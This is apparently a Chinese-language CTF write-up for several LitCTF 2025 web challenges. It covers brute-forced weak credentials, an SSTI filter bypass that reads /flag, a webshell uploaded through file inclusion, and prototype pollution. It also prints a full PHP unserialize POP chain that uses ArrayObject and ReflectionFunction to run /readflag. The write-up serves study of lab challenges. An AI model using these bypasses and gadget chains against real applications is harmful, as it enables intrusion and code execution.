web
nest_js

弱密码,爆破得到用户名和密码为,admin,password
星愿信箱

1
| 过滤了{{}}双写的大括号,利用{%%}绕过,cat /flag利用 nl /f* 进行绕过
|
ez_file

这边有一个重定向,可以进去看一下

这边又一个文件包含,可以上传jpg,进行文件包含。

传马

得到flag
多重宇宙日记
知识点:
本题考的是原型链污染,在js语言中每个对象都有__proto__属性,指向了构造函数的原型对象,当我们可以对键名进行控制并且字符串可以被解析成对象或方法时就可以进行原型链污染(按我理解后端代码应该还得有递归)。我是这样理解的,_proto__属性通过递归修改掉object.prototype,从而将整个原型链进行污染

就这样
easy_signin

扫一下目录

这边有一个api.js


文件读取
然后你会发先flag不在根目录,而且有waf

最后读取/api/sys/urlcode.php,发现这个文件,访问

得到flag
君の名は
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php highlight_file(__FILE__); error_reporting(0); create_function("", 'die(`/readflag`);'); class Taki { private $musubi; private $magic; public function __unserialize(array $data) { $this->musubi = $data['musubi']; $this->magic = $data['magic']; return ($this->musubi)(); } public function __call($func,$args){ (new $args[0]($args[1]))->{$this->magic}(); } }
class Mitsuha { private $memory; private $thread; public function __invoke() { return $this->memory.$this->thread; } }
class KatawareDoki { private $soul; private $kuchikamizake; private $name;
public function __toString() { ($this->soul)->flag($this->kuchikamizake,$this->name); return "call error!no flag!"; } }
$Litctf2025 = $_POST['Litctf2025']; if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){ unserialize($Litctf2025); }else{ echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆"; }
|
“/^[Oa]:[\d]+/i”绕过这个可以使用php的原生类,可以看一下https://www.cnblogs.com/Rxuxin/articles/18898161
思路
首先反序列化 ArrayObject,触发 Taki 的 __unserialize
,尝试调用 musubi
(Mitsuha 对象)
Mitsuha 对象被当作函数调用,触发 __invoke
。__invoke
返回 memory . thread
,其中 memory 是 KatawareDoki 对象。将 KatawareDoki 转为字符串触发 __toString
。__toString
调用 soul->flag(kuchikamizake, name)
- 这里
soul
是另一个 Taki 对象
- 调用不存在的
flag
方法触发 __call
1
| __call` 执行 `(new $args[0]($args[1]))->{$this->magic}()
|
$args[0]
是 “ReflectionFunction”(反射类)
$args[1]
是 “\000lambda_1”(匿名函数名)(后面的序号会随着访问次数的增加而增加,所以交的时候最好重开环境)
$this->magic
是 “invoke”
构造new ReflectionFunction(\000lambda_1) -> invoke 从而执行匿名函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php class Taki { public $musubi; public $magic = "invoke"; }
class Mitsuha { public $memory; public $thread; }
class KatawareDoki { public $soul; public $kuchikamizake = "ReflectionFunction"; public $name = "\000lambda_1"; }
$a = new Taki(); $b = new Mitsuha(); $c = new KatawareDoki();
$a -> musubi = $b; $b -> thread = $c; $c -> soul = $a;
$d = array("PusTR"=>$a); $e = new ArrayObject($d);
echo urlencode(serialize($e));
?>
|

刷新了一次,我就加到2了,可以进行爆破,同时要注意一点,原生类改为C的时候要注意php版本哈。